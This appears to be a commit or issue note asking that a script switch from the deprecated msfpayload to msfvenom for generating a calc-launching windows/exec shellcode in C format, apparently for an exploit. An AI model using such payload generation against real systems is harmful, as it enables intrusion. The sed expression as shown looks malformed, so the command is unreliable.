Replace depreciated msfpayload

[wikijm]

msfpayload is a depreciated tool, replaced by msfvenom. This way, we need to modify line 20 from this: msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\/,0/g' | tr -d '\n' | cut -c2-

to this: msfvenom -p windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\/,0/g' | tr -d '\n' | cut -c2-